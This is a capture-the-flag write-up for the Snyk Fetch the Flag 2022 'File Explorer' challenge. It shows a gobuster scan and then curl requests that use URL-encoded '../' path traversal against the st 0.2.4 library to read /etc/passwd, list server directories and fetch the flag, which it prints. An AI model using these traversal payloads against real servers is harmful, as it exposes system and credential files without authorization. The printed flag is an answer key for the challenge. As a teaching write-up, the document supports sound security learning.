Contents

Synk Fetch the Flag 2022 - Web - File Explorer


File Explorer

description

tags:

  • node.js
  • Snyk Open Source

Expose hidden files in the web application.

http://file-explorer.c.ctf-snyk.io/

hint: https://github.com/lcrowther-snyk/file-explorer

writeup

After opening the website http://file-explorer.c.ctf-snyk.io/ in my webbrowser I see this:

/images/file_explorer_find_the_flag.png

the link with the caption “here” redirects me to http://file-explorer.c.ctf-snyk.io/public/ and we can see a directory listing:

/images/file_explorer_index.png

This is the source code of the main site (http://file-explorer.c.ctf-snyk.io/):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<!DOCTYPE html>
<html>

<h1 id="page-title">Go ahead hack m3</h1>
<h2 id="page-title">find the flag</h2>

<p>Take a look at our files <a href="/public/">here<a></p>

</body>
</html>

After I could not find anything interesting on that directory I ran gobuster to scan for any hidden files:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
mkdir gobuster

gobuster dir --url [http://file-explorer.c.ctf-snyk.io/](http://file-explorer.c.ctf-snyk.io/) --output gobuster/big.txt -w /usr/share/wordlists/dirb/big.txt

/blog9.txt            (Status: 502) [Size: 332]
/carrito.php          (Status: 502) [Size: 332]
/cd                   (Status: 502) [Size: 332]
/css-js.txt           (Status: 502) [Size: 332]
/ebayimages.txt       (Status: 502) [Size: 332]
/edit_saved.php       (Status: 502) [Size: 332]
/editors.txt          (Status: 502) [Size: 332]
/edito.zip            (Status: 502) [Size: 332]
/eds                  (Status: 502) [Size: 332]
/elo.txt              (Status: 502) [Size: 332]
/gertrude             (Status: 502) [Size: 332]
/gi.txt               (Status: 502) [Size: 332]
/gizmo.txt            (Status: 502) [Size: 332]
/glossario.txt        (Status: 502) [Size: 332]
/glosuj               (Status: 502) [Size: 332]
/glossario.php        (Status: 502) [Size: 332]
/gprs.php             (Status: 502) [Size: 332]
/graduation           (Status: 502) [Size: 332]
Progress: 34460 / 81880 (42.09%)              [ERROR] 2022/11/09 14:40:12 [!] Get "http://file-explorer.c.ctf-snyk.io/graphics2": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 34536 / 81880 (42.18%)              [ERROR] 2022/11/09 14:40:30 [!] Get "http://file-explorer.c.ctf-snyk.io/greeting.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/gruppen.txt          (Status: 502) [Size: 332]
/guest-tracking.txt   (Status: 502) [Size: 332]
/guinness             (Status: 502) [Size: 332]
/h2                   (Status: 502) [Size: 332]
Progress: 34912 / 81880 (42.64%)              [ERROR] 2022/11/09 14:41:55 [!] Get "http://file-explorer.c.ctf-snyk.io/gz.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/happyholidays        (Status: 502) [Size: 332]
/kill                 (Status: 502) [Size: 332]
/kindeditor.php       (Status: 502) [Size: 332]
/kristi               (Status: 502) [Size: 332]g
/lines.php            (Status: 502) [Size: 332]
/link_exchange.txt    (Status: 502) [Size: 332]
/link_banner          (Status: 502) [Size: 332]
Progress: 43600 / 81880 (53.25%)              [ERROR] 2022/11/09 14:52:46 [!] Get "http://file-explorer.c.ctf-snyk.io/links-page.txt": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/listing_photos       (Status: 502) [Size: 332]
/listmail.php         (Status: 502) [Size: 332]
Progress: 43776 / 81880 (53.46%)              [ERROR] 2022/11/09 14:53:10 [!] Get "http://file-explorer.c.ctf-snyk.io/liuyan.zip": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 43788 / 81880 (53.48%)              [ERROR] 2022/11/09 14:53:11 [!] Get "http://file-explorer.c.ctf-snyk.io/lit.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
Progress: 44008 / 81880 (53.75%)              [ERROR] 2022/11/09 14:53:48 [!] Get "http://file-explorer.c.ctf-snyk.io/ln.php": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/louis.php            (Status: 502) [Size: 332]
/lucas.zip            (Status: 502) [Size: 332]
/lulu.zip             (Status: 502) [Size: 332]
/ma                   (Status: 502) [Size: 332]
/ma-fr.zip            (Status: 502) [Size: 332]
/m2css.zip            (Status: 502) [Size: 332]
/maint.php            (Status: 502) [Size: 332]
/makeover.php         (Status: 502) [Size: 332]
/manufacturers        (Status: 502) [Size: 332]
/marilyn.php          (Status: 502) [Size: 332]
/mark                 (Status: 502) [Size: 332]
Progress: 46060 / 81880 (56.25%)              [ERROR] 2022/11/09 14:58:23 [!] Get "http://file-explorer.c.ctf-snyk.io/maxwell": context deadline exceeded (Client.Timeout exceeded while awaiting headers)
/mypoints.php         (Status: 502) [Size: 332]
/null.php             (Status: 502) [Size: 332]

But unfortunately gobuster did not find anything.

In the hint of this challenge is a github repository mentioned:

file-explorer/app.js at main · lcrowther-snyk/file-explorer

That looks to be the source code of this challenge!

The server is running node.js and here is the source code of the app.js file:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
 * Module dependencies.
 */

var st = require('st');
var express = require('express');
var http = require('http');

var app = express();

// all environments
app.set('port', process.env.PORT || 3001);

app.get('/', function(request, response){
  response.sendFile(process.cwd() +'/index.html');
});

// Static
app.use(st({ path: './public', url: '/public' }));

http.createServer(app).listen(app.get('port'), function () {
  console.log('Express server listening on port ' + app.get('port'));
});

We can also take a look at the package.json file to get the version numbers of the packages:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
  "name": "goof",
  "version": "1.0.1",
  "description": "A vulnerable todo demo application",
  "homepage": "https://snyk.io/",
  "repository": {
    "type": "git",
    "url": "https://github.com/Snyk/snyk-todo-list-demo-app/"
  },
  "scripts": {
    "start": "node app.js",
    "build": "browserify -r jquery > public/js/bundle.js",
    "cleanup": "mongo express-todo --eval 'db.todos.remove({});'"
  },
  "engines": {
    "node": "6.14.1"
  },
  "dependencies": {
    "express": "4.16.0",
    "st": "0.2.4"
  }
}

I think it is weird that the program is using the st library.

The version used for st is 0.2.4.

After searching the internet , there seems to be a LFI vulnerability for this version of st.

Here is the link to snyk for the vulnerability:

https://security.snyk.io/vuln/npm:st:20140206

Versions prior to 0.2.5 did not properly prevent path traversal. Literal dots in a path were resolved out, but url encoded dots were not. Thus, a request like /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd would leak sensitive files and data from the server.

As of version 0.2.5, any '/../' in the request path, urlencoded or not, will be replaced with '/'. If your application depends on url traversal, then you are encouraged to please refactor so that you do not depend on having .. in url paths, as this tends to expose data that you may be surprised to be exposing.

So it seems like we can get LFI working here by just encoding the ../ characters using URL-encoding. A single dot in URL encoding is: %2e . So two dots would be %2e%2e and the forward slash character is represented as %2f in URL-encoded form.

By replacing problematic characters like mentioned in the snyk vulnerability we could craft a payload that looks like this:

%2e%2e%2f%2e%2e%2f%2e%2e%2F%2e%2e%2F%2e%2e/etc/passwd

Here is a proof-of-concept for this LFI:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
curl http://file-explorer.c.ctf-snyk.io/public/%2e%2e%2f%2e%2e%2f%2e%2e%2F%2e%2e%2F%2e%2e/etc/passwd

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/bin/false
node:x:1000:1000::/home/node:/bin/bash

We can get the contents of /etc/passwd which means that the LFI works!

It can even be abused to get directory listing:

File Listing PoC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
curl http://file-explorer.c.ctf-snyk.io/public/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/    
<!doctype html><html><head><title>Index of </title></head><body><h1>Index of </h1><hr><pre><a href="../">../</a>
<a href="bin/">bin/</a>         2019-05-08T01:41:31.000Z       -
<a href="boot/">boot/</a>        2019-03-28T09:12:44.000Z       -
<a href="dev/">dev/</a>         2022-11-09T11:51:50.758Z       -
<a href="etc/">etc/</a>         2022-11-09T11:51:47.531Z       -
<a href="home/">home/</a>        2019-05-08T02:14:27.000Z       -
<a href="lib/">lib/</a>         2019-05-08T01:41:44.000Z       -
<a href="lib64/">lib64/</a>       2019-05-06T00:00:00.000Z       -
<a href="media/">media/</a>       2019-05-06T00:00:00.000Z       -
<a href="mnt/">mnt/</a>         2019-05-06T00:00:00.000Z       -
<a href="opt/">opt/</a>         2019-05-08T02:17:53.000Z       -
<a href="proc/">proc/</a>        2022-11-09T11:51:50.747Z       -
<a href="root/">root/</a>        2022-09-22T07:15:14.000Z       -
<a href="run/">run/</a>         2019-05-06T00:00:00.000Z       -
<a href="sbin/">sbin/</a>        2019-05-08T01:40:28.000Z       -
<a href="srv/">srv/</a>         2019-05-06T00:00:00.000Z       -
<a href="sys/">sys/</a>         2022-11-09T11:48:47.826Z       -
<a href="tmp/">tmp/</a>         2022-09-22T07:15:14.000Z       -
<a href="usr/">usr/</a>         2019-05-06T00:00:00.000Z       -
<a href="var/">var/</a>         2019-05-06T00:00:00.000Z       -
</pre><hr></body></html>

After searching for a while I found the source code of the program and found the flag.

It turns out that the source code for the program is located in /usr/src/goof

1
2
3
4
curl http://file-explorer.c.ctf-snyk.io/public/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/usr/src/  
<!doctype html><html><head><title>Index of </title></head><body><h1>Index of </h1><hr><pre><a href="../">../</a>
<a href="goof/">goof/</a>       2022-09-22T07:15:25.000Z       -
</pre><hr></body></html>

Let’s see what is inside that folder:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
curl http://file-explorer.c.ctf-snyk.io/public/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/usr/src/goof/
<!doctype html><html><head><title>Index of </title></head><body><h1>Index of </h1><hr><pre><a href="../">../</a>
<a href="node_modules/">node_modules/</a>            2022-09-22T07:15:28.000Z           -
<a href="public/">public/</a>                  2022-09-22T07:13:46.000Z           -
<a href="routes/">routes/</a>                  2022-09-22T07:13:46.000Z           -
<a href="views/">views/</a>                   2022-09-22T07:13:46.000Z           -
<a href="app.js">app.js</a>                   2022-09-22T07:13:46.000Z         502
<a href="app.json">app.json</a>                 2022-09-22T07:13:46.000Z         267
<a href="build-tag-push.sh">build-tag-push.sh</a>        2022-09-22T07:13:46.000Z         206
<a href="challenge.yml">challenge.yml</a>            2022-09-22T07:13:46.000Z        1261
<a href="docker-compose.yml">docker-compose.yml</a>       2022-09-22T07:13:46.000Z         155
<a href="Dockerfile">Dockerfile</a>               2022-09-22T07:13:46.000Z         203
<a href="flag">flag</a>                     2022-09-22T07:13:46.000Z          72
<a href="index.html">index.html</a>               2022-09-22T07:13:46.000Z         182
<a href="package-lock.json">package-lock.json</a>        2022-09-22T07:13:46.000Z       34853
<a href="package.json">package.json</a>             2022-09-22T07:13:46.000Z         518
<a href="README.md">README.md</a>                2022-09-22T07:13:46.000Z          28
<a href="test.py">test.py</a>                  2022-09-22T07:13:46.000Z         603
</pre><hr></body></html>

There is the flag!

It’s located in /usr/src/goof/flag

Let’s retrieve the flag using curl

1
2
curl http://file-explorer.c.ctf-snyk.io/public/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/usr/src/goof/flag
SNYK{6854ecb17f23afdf2610f741dd07bd6099c616e4ac2a403eb14fa8689e1fb0af}

found the flag:

SNYK{6854ecb17f23afdf2610f741dd07bd6099c616e4ac2a403eb14fa8689e1fb0af}